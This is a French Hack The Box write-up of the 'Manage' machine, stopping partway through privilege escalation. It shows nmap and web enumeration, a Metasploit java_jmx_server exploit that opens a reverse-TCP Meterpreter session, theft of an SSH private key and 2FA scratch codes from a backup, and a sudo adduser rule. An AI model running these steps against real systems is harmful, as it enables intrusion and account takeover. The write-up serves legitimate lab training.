Writeup Manage — HTB Easy Writeup & Walkthrough | HackEthical

Introduction

Cette machine HTB Easy montre comment un service JMX exposé via RMI, un backup contenant une clé SSH et une règle sudo mal configurée peuvent conduire à une compromission complète du système.

Au premier abord, l’énumération ne révèle rien d’immédiatement exploitable : un Tomcat accessible sur le port 8080, quelques ports ouverts, mais aucun contenu web intéressant ni virtual host pertinent.

En poursuivant l’énumération avec un scan plus approfondi, un élément inhabituel apparaît : deux ports associés à Java RMI (2222 et 45353).

Cette combinaison Tomcat + RMI constitue une piste intéressante. Elle suggère la présence d’un accès JMX potentiellement mal sécurisé, qui va rapidement s’avérer être la clé de l’exploitation de la machine.

JMX (Java Management Extensions) est une interface d’administration Java ; mal protégée, elle peut permettre d’exécuter du code à distance.

Ton objectif devient : confirmer la présence de jmxrmi dans le registre RMI, puis exploiter l’endpoint JMX exposé.

Tu vas obtenir un premier accès via JMX, récupérer un backup contenant une clé SSH pour pivoter vers un nouvel utilisateur, puis terminer par une élévation de privilèges via sudo adduser.

Énumération

Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.

Concrètement, l’objectif de cette phase d’énumération est d’identifier :

quels ports sont ouverts
quels services sont accessibles
si une application web est présente
quels répertoires sont exposés
si des sous-domaines ou vhosts peuvent être exploités

Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :

mon-nmap : identifie les ports ouverts et les services en écoute
mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts

Tu retrouves ces outils dans la section Outils / Mes scripts.

Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :

/usr/share/wordlists/htb-dns-vh-5000.txt

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.

Avant de lancer les scans, vérifie que le nom d’hôte manage.htb résout correctement vers l’adresse IP de la cible.

Sur HTB, cela passe généralement par une entrée dans /etc/hosts.

Ajoute l’entrée 10.129.x.x manage.htb dans /etc/hosts.

sudo nano /etc/hosts

Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :

mon-nmap manage.htb

# Résultats dans le répertoire scans_nmap/
#  - scans_nmap/full_tcp_scan.txt
#  - scans_nmap/enum_ftp_smb_scan.txt
#  - scans_nmap/aggressive_vuln_scan.txt
#  - scans_nmap/cms_vuln_scan.txt
#  - scans_nmap/udp_vuln_scan.txt

Scan initial

Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) révèle les ports ouverts suivants :

Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée (Tomcat + RMI/JMX).

# Nmap 7.98 scan initiated Sun Jan 11 15:26:48 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt manage.htb
Nmap scan report for manage.htb (10.129.x.x)
Host is up (0.0086s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
2222/tcp  open  EtherNetIP-1
8080/tcp  open  http-proxy
37055/tcp open  unknown
45353/tcp open  unknown

# Nmap done at Sun Jan 11 15:26:58 2026 -- 1 IP address (1 host up) scanned in 10.95 seconds

Scan agressif

Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.

Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) :

[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour manage.htb
[+] Commande utilisée :
    nmap -Pn -A -sV -p"22,2222,8080,37055,45353" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "manage.htb"

# Nmap 7.98 scan initiated Sun Jan 11 15:26:59 2026 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,2222,8080,37055,45353 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan.txt manage.htb
Nmap scan report for manage.htb (10.129.x.x)
Host is up (0.0089s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   Java RMI
8080/tcp  open  http       Apache Tomcat 10.1.19
37055/tcp open  tcpwrapped
45353/tcp open  java-rmi   Java RMI
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT     ADDRESS
1   7.82 ms 10.10.x.x
2   8.33 ms manage.htb (10.129.x.x)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 11 15:27:13 2026 -- 1 IP address (1 host up) scanned in 14.58 seconds

Scan ciblé CMS

Le scan ciblé CMS (scans_nmap/cms_vuln_scan.txt) ne met rien de vraiment exploitable en évidence pour ce CTF.

# Nmap 7.98 scan initiated Sun Jan 11 15:27:13 2026 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,2222,8080,37055,45353 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt manage.htb
Nmap scan report for manage.htb (10.129.x.x)
Host is up (0.0081s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   Java RMI
8080/tcp  open  http       Apache Tomcat 10.1.19
|_http-title: Apache Tomcat/10.1.19
| http-headers: 
|   Content-Type: text/html;charset=UTF-8
|   Transfer-Encoding: chunked
|   Date: Sun, 11 Jan 2026 14:27:23 GMT
|   Connection: close
|   
|_  (Request type: HEAD)
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; css: 1; ico: 1; svg: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1; css: 1; ico: 1; svg: 1
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
37055/tcp open  tcpwrapped
45353/tcp open  java-rmi   Java RMI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 11 15:27:48 2026 -- 1 IP address (1 host up) scanned in 34.65 seconds

Scan UDP rapide

Le scan UDP rapide (scans_nmap/udp_vuln_scan.txt) ne met rien de vraiment exploitable en évidence pour ce CTF.

# Nmap 7.95 scan initiated Wed Nov 19 15:55:59 2025 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt manage.htb
Nmap scan report for manage.htb (10.129.x.x)
Host is up (0.0086s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   open|filtered netbios-ns
138/udp   closed        netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown

# Nmap done at Wed Nov 19 15:56:08 2025 -- 1 IP address (1 host up) scanned in 9.76 seconds

Énumération des chemins web

Pour la partie découverte de chemins web, utilise le script dédié mon-recoweb sur le service Tomcat 8080/tcp open http Apache Tomcat 10.1.19 :

mon-recoweb manage.htb;8080

# Résultats dans le répertoire scans_recoweb/
#  - scans_recoweb/RESULTS_SUMMARY.txt     ← vue d’ensemble des découvertes
#  - scans_recoweb/dirb.log
#  - scans_recoweb/dirb_hits.txt
#  - scans_recoweb/ffuf_dirs.txt
#  - scans_recoweb/ffuf_dirs_hits.txt
#  - scans_recoweb/ffuf_files.txt
#  - scans_recoweb/ffuf_files_hits.txt
#  - scans_recoweb/ffuf_dirs.json
#  - scans_recoweb/ffuf_files.json

Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.1.0

Cible        : manage.htb:8080
Périmètre    : /
Date début   : 2026-01-11 15:40:00

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://manage.htb:8080/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://manage.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_dirs.json 2>&1 | tee scans_recoweb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://manage.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_files.json 2>&1 | tee scans_recoweb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://manage.htb:8080/. (CODE:200|SIZE:11219)
http://manage.htb:8080/docs (CODE:302|SIZE:0)
http://manage.htb:8080/docs/ (CODE:302|SIZE:0)
http://manage.htb:8080/examples (CODE:302|SIZE:0)
http://manage.htb:8080/examples/ (CODE:302|SIZE:0)
http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630)
http://manage.htb:8080/host-manager (CODE:302|SIZE:0)
http://manage.htb:8080/index.jsp (CODE:200|SIZE:11219)
http://manage.htb:8080/manager (CODE:302|SIZE:0)
http://manage.htb:8080/manager/ (CODE:302|SIZE:0)

=== Détails par outil ===

[DIRB]
http://manage.htb:8080/docs (CODE:302|SIZE:0)
http://manage.htb:8080/examples (CODE:302|SIZE:0)
http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630)
http://manage.htb:8080/host-manager (CODE:302|SIZE:0)
http://manage.htb:8080/manager (CODE:302|SIZE:0)

[FFUF — DIRECTORIES]
http://manage.htb:8080/docs/ (CODE:302|SIZE:0)
http://manage.htb:8080/examples/ (CODE:302|SIZE:0)
http://manage.htb:8080/manager/ (CODE:302|SIZE:0)

[FFUF — FILES]
http://manage.htb:8080/. (CODE:200|SIZE:11219)
http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630)
http://manage.htb:8080/index.jsp (CODE:200|SIZE:11219)

Recherche de vhosts

Enfin, teste rapidement la présence de vhosts avec mon script mon-subdomains :

mon-subdomains manage.htb

=== mon-subdomains manage.htb START ===
Script       : mon-subdomains
Version      : mon-subdomains 2.0.0
Date         : 2026-01-11 15:45:45
Domaine      : manage.htb
IP           : 10.129.x.x
Mode         : large
Master       : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes        : 200,301,302,401,403  (strict=1)

VHOST totaux : 0
  - (aucun)

--- Détails par port ---
Port 8080 (http)
  Baseline#1: code=200 size=11219 words=490 (Host=2w13lzk7kc.manage.htb)
  Baseline#2: code=200 size=11219 words=490 (Host=nq951g8hlw.manage.htb)
  Baseline#3: code=200 size=11219 words=490 (Host=sya38wwz8o.manage.htb)
  VHOST (0)
    - (fuzzing sauté : wildcard probable)
    - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)



=== mon-subdomains manage.htb END ===

Prise pied

Analyse des résultats

L’énumération web met en évidence un service Tomcat accessible sur le port 8080 :

http://manage.htb:8080/ : page d’accueil Tomcat par défaut
plusieurs redirections 302 vers des applications internes :
- /docs
- /examples
- /manager
- /host-manager

En approfondissant l’analyse de /docs et /examples à l’aide de scans mon-recoweb ciblés, aucun contenu applicatif intéressant n’est découvert.
Ces chemins hébergent uniquement la documentation et les exemples standards de Tomcat, sans application spécifique ni interface d’administration personnalisée.

Le scan Nmap agressif apporte en revanche des informations beaucoup plus intéressantes :

Tomcat 10.1.19 est confirmé sur 8080/tcp
deux services Java RMI sont exposés sur 2222/tcp et 45353/tcp
aucun script http-vuln-* ne révèle de vulnérabilité web classique

Point clé : le scan parvient à interroger le registre RMI.

Cela indique que le registre répond aux requêtes distantes et qu’une partie de l’interface RMI est accessible sans protection apparente.

Dès l’apparition de jmxrmi, plusieurs éléments deviennent clairs :

une interface JMX Remote est exposée
elle n’est pas protégée
elle est très probablement exploitable à distance

Ce type de configuration ouvre typiquement la voie à une exploitation via le module Metasploit java_jmx_server.

À ce stade, il est logique de recentrer l’analyse sur :

l’interface Tomcat /manager
et surtout la présence des deux services Java RMI, qui constituent le véritable point d’entrée pour la suite de l’exploitation

Un scan Nmap complémentaire, orienté spécifiquement RMI, va permettre de confirmer ces hypothèses et d’obtenir davantage d’informations exploitables.

nmap --script "rmi*" -sV -p 2222 manage.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 16:35 CET
Nmap scan report for manage.htb (10.129.x.x)
Host is up (0.0075s latency).

PORT     STATE SERVICE  VERSION
2222/tcp open  java-rmi Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:34827
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds

Sur cette machine, le script montre clairement que le serveur RMI accepte des connexions distantes sans authentification.
L’entrée jmxrmi est accessible, ce qui indique une interface JMX exposée et mal sécurisée.

Dans ce contexte, une interface JMX exposée devient rapidement critique :
elle permet notamment de charger des classes Java à distance et d’exécuter du code si aucune authentification ou restriction n’est configurée.

Dans ce contexte, un module Metasploit correspond précisément à ce scénario :

Java JMX Server Insecure Configuration Java Code Execution
- Module : exploit/multi/misc/java_jmx_server
- Description : ce module exploite une configuration JMX non sécurisée en chargeant des classes Java depuis une URL HTTP distante.
  Il fonctionne lorsque l’interface JMX est exposée sans authentification, ou avec une configuration faible (par exemple lorsque com.sun.management.jmxremote.authenticate=false).
- Source : Pentester Academy

Cette confirmation permet de passer logiquement à l’étape suivante :
tester le module Metasploit java_jmx_server, qui devrait fournir un premier accès à la machine sous la forme d’un shell Meterpreter.

Metasploit

Pour exploiter cette configuration, tu peux utiliser le module Metasploit dédié aux serveurs JMX exposés sans authentification.

Ce module va charger une classe Java malveillante via HTTP et exécuter le payload sur le serveur distant.

Lance Metasploit et charge le module java_jmx_server :

msfconsole               
Metasploit tip: Use check before run to confirm if a target is 
vulnerable
                                                  
...

       =[ metasploit v6.4.96-dev                                ]
+ -- --=[ 2,569 exploits - 1,316 auxiliary - 1,683 payloads     ]
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search jmx rmi

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/misc/java_jmx_server          2013-05-22       excellent  Yes    Java JMX Server Insecure Configuration Java Code Execution
   1  auxiliary/scanner/misc/java_jmx_server      2013-05-22       normal     No     Java JMX Server Insecure Endpoint Code Execution Scanner
   2  exploit/multi/misc/java_rmi_server          2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   3    \_ target: Generic (Java Payload)         .                .          .      .
   4    \_ target: Windows x86 (Native Payload)   .                .          .      .
   5    \_ target: Linux x86 (Native Payload)     .                .          .      .
   6    \_ target: Mac OS X PPC (Native Payload)  .                .          .      .
   7    \_ target: Mac OS X x86 (Native Payload)  .                .          .      .


Interact with a module by name or index. For example info 7, use 7 or use exploit/multi/misc/java_rmi_server
After interacting with a module you can manually set a TARGET with set TARGET 'Mac OS X x86 (Native Payload)'

msf > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_jmx_server) > options

Module options (exploit/multi/misc/java_jmx_server):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
   JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
   JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                            /basics/using-metasploit.html
   RPORT                          yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address
                                             on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.252    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_jmx_server) > set RHOST manage.htb
RHOST => manage.htb
msf exploit(multi/misc/java_jmx_server) > set RPORT 2222
RPORT => 2222
msf exploit(multi/misc/java_jmx_server) > set LHOST tun0
LHOST => 10.10.x.x
msf exploit(multi/misc/java_jmx_server) > exploit
[*] Started reverse TCP handler on 10.10.x.x:4444 
[*] 10.129.x.x:2222 - Using URL: http://10.10.x.x:8080/yedsBc
[*] 10.129.x.x:2222 - Sending RMI Header...
[*] 10.129.x.x:2222 - Discovering the JMXRMI endpoint...
[+] 10.129.x.x:2222 - JMXRMI endpoint on 127.0.1.1:33659
[*] 10.129.x.x:2222 - Proceeding with handshake...
[+] 10.129.x.x:2222 - Handshake with JMX MBean server on 127.0.1.1:33659
[*] 10.129.x.x:2222 - Loading payload...
[*] 10.129.x.x:2222 - Replied to request for mlet
[*] 10.129.x.x:2222 - Replied to request for payload JAR
[*] 10.129.x.x:2222 - Executing payload...
[*] 10.129.x.x:2222 - Replied to request for payload JAR
[*] 10.129.x.x:2222 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 10.129.x.x
[*] Meterpreter session 1 opened (10.10.x.x:4444 -> 10.129.x.x:59886) at 2025-11-20 10:19:57 +0100
[*] 10.129.x.x:2222 - Server stopped.

meterpreter >

Le module ouvre une session Meterpreter sur la machine cible avec les droits de l’utilisateur tomcat, ce qui te permet d’obtenir un premier accès au système.

user.txt

Une fois le shell obtenu, tu peux explorer le système de fichiers et tu trouves facilement le flag user.txt.

meterpreter > search -f user.txt
Found 1 result...
=================

Path                  Size (bytes)  Modified (UTC)
----                  ------------  --------------
/opt/tomcat/user.txt  33            2025-04-14 09:32:58 +0200

meterpreter > cat /opt/tomcat/user.txt
a86dxxxxxxxxxxxxxxxxxxxxxxxxxxxx279

En poursuivant l’exploration du système, tu identifies les répertoires personnels de deux utilisateurs : karl et useradmin.
Ces deux home directories sont accessibles avec les droits de l’utilisateur tomcat, ce qui élargit clairement la surface d’attaque pour la suite de l’escalade.
L’exploration du répertoire /home/karl ne révèle cependant aucun élément exploitable.

meterpreter > ls -la /home/karl
Listing: /home/karl
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
000667/rw-rw-rwx  0     fif   2025-11-19 23:05:26 +0100  .bash_history
100445/r--r--r-x  220   fil   2022-01-06 17:23:33 +0100  .bash_logout
100445/r--r--r-x  3771  fil   2022-01-06 17:23:33 +0100  .bashrc
040001/--------x  4096  dir   2024-03-01 05:24:20 +0100  .cache
040555/r-xr-xr-x  4096  dir   2025-04-14 09:26:50 +0200  .local
100445/r--r--r-x  807   fil   2022-01-06 17:23:33 +0100  .profile
040001/--------x  4096  dir   2025-04-14 09:24:59 +0200  .ssh
100445/r--r--r-x  0     fil   2024-03-01 05:25:10 +0100  .sudo_as_admin_successful

meterpreter > cat /home/karl/.bash_history
meterpreter > cat /home/karl/.sudo_as_admin_successful
meterpreter >

On poursuit donc l’exploration en se concentrant sur le répertoire /home/useradmin, qui est accessible avec les droits actuels.

meterpreter > ls -la /home/useradmin
Listing: /home/useradmin
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
000667/rw-rw-rwx  0     fif   2025-11-19 23:05:26 +0100  .bash_history
100445/r--r--r-x  220   fil   2024-06-21 17:46:55 +0200  .bash_logout
100445/r--r--r-x  3771  fil   2024-06-21 17:46:55 +0200  .bashrc
040001/--------x  4096  dir   2024-06-21 18:48:52 +0200  .cache
100001/--------x  200   fil   2024-06-21 18:48:52 +0200  .google_authenticator
100445/r--r--r-x  807   fil   2024-06-21 17:46:55 +0200  .profile
040555/r-xr-xr-x  4096  dir   2024-06-21 17:53:55 +0200  .ssh
040554/r-xr-xr--  4096  dir   2024-06-21 18:51:00 +0200  backups

meterpreter > cat /home/useradmin/.bash_history
meterpreter >

Dans le répertoire /home/useradmin, tu découvres un sous-répertoire backups accessible avec les droits de l’utilisateur tomcat.
Il contient une archive backup.tar.gz, que tu peux récupérer localement afin de l’analyser.

meterpreter > ls -la /home/useradmin/backups
Listing: /home/useradmin/backups
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  3088  fil   2024-06-21 18:50:37 +0200  backup.tar.gz

meterpreter >

meterpreter > ls -la /home/useradmin/backups
Listing: /home/useradmin/backups
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  3088  fil   2024-06-21 18:50:37 +0200  backup.tar.gz

meterpreter > download /home/useradmin/backups/backup.tar.gz
[*] Downloading: /home/useradmin/backups/backup.tar.gz -> /mnt/kvm-md0/HTB/manage/backup.tar.gz
[*] Downloaded 3.02 KiB of 3.02 KiB (100.0%): /home/useradmin/backups/backup.tar.gz -> /mnt/kvm-md0/HTB/manage/backup.tar.gz
[*] Completed  : /home/useradmin/backups/backup.tar.gz -> /mnt/kvm-md0/HTB/manage/backup.tar.gz
meterpreter >

Analyse du backup dans Kali

Tu peux maintenant extraire l’archive afin d’examiner son contenu et identifier les fichiers potentiellement sensibles.

tar -xvzf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
tar: ./.bash_history: Cannot create symlink to ‘/dev/null': Operation not supported
tar: Exiting with failure status due to previous errors
                                                                                                                       
 ls -la
total 20
drwxr-xr-x 2 kali kali    0 Jun 21  2024 .
drwxr-xr-x 2 kali kali    0 Nov 17 16:57 ..
-rw-r--r-- 1 kali kali 3088 Jun 21  2024 backup.tar.gz
-rw-r--r-- 1 kali kali  220 Jun 21  2024 .bash_logout
-rw-r--r-- 1 kali kali 3771 Jun 21  2024 .bashrc
drwxr-xr-x 2 kali kali    0 Jun 21  2024 .cache
-r--r--r-- 1 kali kali  200 Jun 21  2024 .google_authenticator
drwxr-xr-x 2 kali kali    0 Nov 19 16:17 scans_nmap
-rw-r--r-- 1 kali kali  807 Jun 21  2024 .profile
drwxr-xr-x 2 kali kali    0 Jun 21  2024 .ssh

Même si tar affiche une erreur liée à un lien symbolique (.bash_history -> /dev/null), l’extraction s’est bien déroulée et les fichiers utiles — notamment .ssh/id_ed25519 — sont correctement récupérés.

En explorant le contenu de l’archive, tu remarques la présence d’un fichier .google_authenticator.
Ce type de fichier mérite une attention particulière, car il est généralement associé à une configuration d’authentification à deux facteurs (2FA).

cat .google_authenticator                   
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775

Le répertoire .ssh est également présent dans l’archive et contient une copie des clés SSH de l’utilisateur useradmin.
Cette exposition de clés privées constitue une faille critique et ouvre directement la voie à une compromission complète du compte.

ls -la .ssh                                    
total 12
drwxr-xr-x 2 kali kali   0 Jun 21  2024 .
drwxr-xr-x 2 kali kali   0 Jun 21  2024 ..
-rw-r--r-- 1 kali kali  98 Jun 21  2024 authorized_keys
-rw-r--r-- 1 kali kali 411 Jun 21  2024 id_ed25519
-rw-r--r-- 1 kali kali  98 Jun 21  2024 id_ed25519.pub

Connexion SSH avec la clé récupérée

cp ./.ssh/id_ed25519* /home/kali/tmp/

cd /home/kali/tmp/
chmod 600 id_ed25519

ssh -i id_ed25519 useradmin@manage.htb

(useradmin@manage.htb) Verification code:

Lors de la connexion, un Verification code est demandé.
Tu peux utiliser l’un des codes présents dans le fichier .google_authenticator, par exemple le premier code disponible : 99852083.
Ces codes correspondent à des scratch codes générés par Google Authenticator. Ils servent de codes de secours et peuvent être utilisés une seule fois lorsque l’application 2FA n’est pas disponible.

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Nov 21 09:39:17 AM UTC 2025

  System load:           0.0
  Usage of /:            73.8% of 4.34GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             212
  Users logged in:       0
  IPv4 address for eth0: 10.129.x.x
  IPv6 address for eth0: dead:beef::250:56ff:fe94:6cac

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

useradmin@manage:~$

Tu disposes maintenant d’un accès SSH interactif en tant que useradmin, ce qui permet de poursuivre l’analyse locale afin de rechercher une élévation de privilèges.

Escalade de privilèges

Une fois connecté en SSH en tant que useradmin, tu disposes d’un premier accès utilisateur sur la machine.

L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.

Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :

vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root
recherche de binaires SUID avec find / -perm -4000 2>/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root)
analyse des Linux capabilities avec
- getcap -r / 2>/dev/null
- python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root
analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local
observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement

L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.

Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.

Sudo -l

Tu commences toujours par vérifier les droits sudo :

sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

Création de l’utilisateur admin

La sortie de sudo -l révèle une règle intéressante :

(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

Cette règle autorise l’utilisateur useradmin à exécuter la commande adduser sans mot de passe, à condition que le nom du nouvel utilisateur soit strictement alphanumérique.

